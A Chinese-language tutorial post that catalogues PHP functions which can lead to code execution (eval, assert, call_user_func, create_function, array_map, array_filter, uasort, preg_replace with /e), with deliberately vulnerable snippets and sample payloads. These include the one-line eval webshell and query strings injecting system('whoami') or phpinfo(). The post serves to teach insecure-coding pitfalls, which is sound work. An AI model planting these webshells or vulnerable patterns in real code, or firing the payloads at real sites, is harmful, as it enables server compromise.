有时候相要用一些命令,但是网上的资料良莠不齐,于是花了几天时间慢慢整理了一份php代码执行函数
中间添加了一些例子,可以更方便的理解这个函数在不安全的开发中所导致的问题
eval()
eval函数将字符串当初php代码执行,比如说
常见的就是一句话木马:<?php @eval($_POST[1]);?>
<?php
$str = 'This is a $test';
$test = '骗你的';
echo $str;
eval("\$str = \'$str\';");
echo $str;
?><?php
$str = 'This is a $test';
$test = '骗你的';
echo $str;
eval('\$str = \"$str\";');
echo $str;
?>会输出骗你的
双引号:双引号中的变量会被解析为它们的值
单引号:单引号中的变量不会被解析,而是直接作为普通字符串输出
@的作用: 这是为了屏蔽报错信息
assert()
一般来说,assert用于调试,比如说检查条件是否为真
assert(1==1);//正常执行
assert(1==2);//触发警告
在php 5-7版本中,这个函数可以被使用,7.2版本后不可
assert可被执行函数。相当于内置eval
例如
<?php
$user_input = $_GET['code'];
assert($user_input);
?>

call_user_func()
1.恶意代码执行
<?php
// 假设用户输入可以控制 $func 和 $arg
$func = $_GET['func'];
$arg = $_GET['arg'];
call_user_func($func, $arg);
?>
例如:
6efK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3g2^5j5h3#2H3L8r3g2Q4x3X3g2U0L8$3#2Q4x3V1k6$3N6h3I4F1i4K6u0W2M7r3S2H3i4K6y4r3k6Y4g2F1j5#2)9K6c8s2y4&6M7%4c8W2L8g2)9J5y4X3q4E0M7q4)9K6b7X3q4J5k6#2)9K6c8r3I4K6
执行system("ls")

2.调用内部类:要以数组的形式
<?php
class a {
function b($c)
{
echo $c;
}
}
call_user_func(array("a", "b"),"111");
//显示 111
?>
create_function()
php8.0之前,5.2-8.0
这里是一个代码注入的案例
<?php
error_reporting(0);
$sort_by = $_GET['sort_by'];
$sorter = 'strnatcasecmp';
$databases=array('1234','4321');
$sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);';
usort($databases, create_function('$a, $b', $sort_function));
?>payload:http://localhost/test1.php?sort_by=%27%22]);}phpinfo();/*
'"]);}phpinfo();/*
$sort_function =
' return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);';
' return 1 * ' . $sorter . '($a["' . '"]);}phpinfo();/* . '"], $b["' . $sort_by . '"]);';
也就是说
' return 1 * ' . $sorter . '($a["' . '"]);}phpinfo();
也就是说,无论后面有什么,都被注释掉了,只进行了匿名函数的创建和phpinfo
array_map()
为数组的每个元素应用回调函数,可以调用自定义函数或自带函数
array_map(callable $callback, array $array1, array ...$arrays): array
返回数组,是为array1每个元素应用callback函数之后的数组。callback函数形参的数量和传给array_map()数组数量,两者必须一样
// API 参数传入 ?func=system&args[]=ls
$func = $_GET['func']; // 用户传入的函数名
$args = $_GET['args']; // 用户传入的数组参数
$result = array_map($func, $args);
?func=system&args[]=whoami
array_map(system, [whoami]);
<?php
highlight_file(__FILE__);
$callback = $_GET['action']; // 用户控制
$data = array($_GET['payload']);
$result = array_map($callback, $data);
?>
function evil($input) {
eval($input); // RCE 入口
}
如果代码2中include 了代码1,那么可以利用同名函数,传入action = evil&payload=system('whoami');

call_user_func_array()
用于调用回调函数,并且允许你以数组形式传递参数
mixed call_user_func_array ( callable $callback , array $param_arr )
<?php
header('Content-Type: application/json');
$func = isset($_REQUEST['func']) ? $_REQUEST['func'] : '';
// 判断是否传入了函数名
if (empty($func)) {
echo json_encode(array('error' => '函数名不能为空'));
exit;
}
// 处理参数:支持数组或 JSON 字符串
if (isset($_REQUEST['params'])) {
if (is_array($_REQUEST['params'])) {
$params = $_REQUEST['params'];
} else {
$params = json_decode($_REQUEST['params'], true);
}
} else {
$params = array();
}
if (!is_array($params)) {
echo json_encode(array('error' => '参数格式错误,应为数组'));
exit;
}
// 安全调用函数
try {
$result = call_user_func_array($func, $params);
echo json_encode(array('result' => $result));
} catch (Exception $e) {
echo json_encode(array('error' => $e->getMessage()));
}

array_filter()
第二个参数是回调函数,可以是函数名字符串,也可以是匿名函数。
array_filter(array $array, ?callable $callback = null): array
越权漏洞:
<?php
highlight_file(__FILE__);
header('Content-Type: text/html; charset=utf-8');
// 假设这是用户从请求传来的权限列表,可能是低权限用户
$user_permissions = isset($_POST['permissions']) ? $_POST['permissions'] : array();
// 错误用法:默认 array_filter 过滤假值
$filtered_permissions = array_filter($user_permissions);
// 业务权限判定逻辑,判断是否有 admin 权限访问后台管理
function has_admin_access($permissions) {
// 这里本意是 admin 权限用户才能访问
// 但误用 array_filter 导致权限丢失,判定逻辑被绕过
return in_array('admin', $permissions);
}
// 伪代码,允许访问的条件还包括低权限 '0' 可以访问某些普通页面
if (has_admin_access($filtered_permissions)) {
echo "访问后台管理页面";
} else if (in_array('0', $filtered_permissions)) {
echo "访问普通用户页面";
} else {
echo "无权限访问";
}
?>正常来说,权限为0应该是返回无权限,入下图

可是在再次传入一个值为admin时却能返回后台,这是因为什么?

array_filter 会把 '0' 和 0 视为假值过滤掉,导致过滤后权限数组缺失这些权限
注入漏洞
当传入的参数可控时就会造成RCE
<?php
highlight_file(__FILE__);
array_filter(array($_REQUEST['arg1']),$_REQUEST['arg2']);
?>
这会将 $_REQUEST['arg1'] 放进数组,然后对数组调用 $_REQUEST['arg2'] 作为回调函数。

arg1 = phpinfo(),实际传入的是字符串 "phpinfo()",放入数组后成为 ["phpinfo()"]
arg2 = assert
调用后
array_filter(["phpinfo()"], "assert");
也就是说,执行了 phpinfo() 函数;
phpinfo() 是一个函数调用的字符串,不是函数名,不能直接作为回调函数执行 , 如果你传入其它回调函数名,比如 "phpinfo",array_filter 会调用 phpinfo("phpinfo()"),这会报错,因为 phpinfo() 不接受参数; 只有 assert 作为回调,才会把字符串 "phpinfo()"当作 PHP 代码执行,所以能执行你想要的函数。
uasort()
PHP 中用于根据用户自定义的比较函数对数组进行排序的函数 ,如果 允许用户通过外部输入指定回调函数,可能会导致 任意函数调用 或 代码执行风险
若 PHP <=5.6 且 assert 没有被禁用,会执行字符串参数,造成 RCE
漏洞示例:
<?php
// 不安全的实现 - 允许用户控制排序函数
function insecureSortProducts(array &$products, string $userProvidedCallback) {
// 危险!直接使用用户提供的字符串作为函数名
uasort($products, $userProvidedCallback);
}
// 攻击者可以这样利用:
$products = [
'p1' => ['name' => 'Product A', 'price' => 100],
'p2' => ['name' => 'Product B', 'price' => 200]
];
// 攻击者注入恶意函数
insecureSortProducts($products, eval($_GET[1]));
// 如果后续有调用,可能执行系统命令
// 例如在某些框架中,排序后可能会自动输出内容
usort() 使用用户自定义的比较函数对数组进行排序。
uasort() 使用用户自定义的比较函数对数组按键值进行排序。
uksort() 函数使用用户自定义的比较函数按照键名对数组排序,并保持索引关系
preg_replace()
mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit])
执行一个正则表达式的搜索和替换
利用这个函数的特点,存在/e修饰符,而这个/e是允许代码执行的(replacement)
只要有参数可控,就有漏洞,因为本质上来说,是相当于执行了eval
<?php
$user_input = $_GET['input'];
$pattern = '/.*/';//匹配任意字符
$replacement = function ($matches) {
return strtoupper($matches[0]); // 示例:将匹配内容转为大写
};
$result = preg_replace_callback($pattern, $replacement, $user_input);
?><?php
$user_input = $_GET['input'];
$pattern = '/.*/e';//匹配任意字符
$replacement = function ($matches) {
return strtoupper($matches[0]); // 示例:将匹配内容转为大写
};
$result = preg_replace($pattern, $replacement, $user_input);
?>第一个是一个安全的写法,那我如果改成下面的写法,它会不会执行呢?
答案是不会,因为preg_replace本质上是字符串替换,它希望$replacement传入的是一个字符串而不是一个 函数 ,所以这段代码会报错
那么什么情况下,这个preg_replace具有漏洞呢?
<?php
$user_input = $_GET['input'];
$pattern = '/.*/e';
$replacement = 'system("$0")';
$result = preg_replace($pattern, $replacement, $user_input);
?>用户可以控制输入什么$user_input = $_GET['input'];
/.+/e 正则匹配输入的所有字符
$0 代表 整个匹配的字符串
$1, $2 等代表第1、第2个捕获分组的内容
preg_replace('/.+/e', '匹配第一个', 'whoami');
再次进行修改一下,把这个值改为可传参数
$replacement = 'eval($_GET["x"])';
答案是肯定的
那如果这里不是命令执行函数呢?
这里举个例子
<?php
$user_input = $_GET['input'];
$pattern = '/.*/e';
$replacement = '$0';
$result = preg_replace($pattern, $replacement, $user_input);
echo $result;
?>
<?php
$user_input = $_GET['input'];
$pattern = '/.*/e';
$replacement = '"Hello".$0';
$result = preg_replace($pattern, $replacement, $user_input);
?>
如果这是在一个注册页面后存在的话,比如说驴子注册后,下一个页面就显示hello 帅气的驴子,可是万万没想到,灰客看见这个代码欣喜若狂,直接来一个
?input=phpinfo(),直接成功,灰客说,让我看看是什么权限


preg_replace('/.*/e', '"Hello".$0', $user_input);执行了eval('"Hello".phpinfo()');
[培训]Windows内核深度攻防:从Hook技术到Rootkit实战!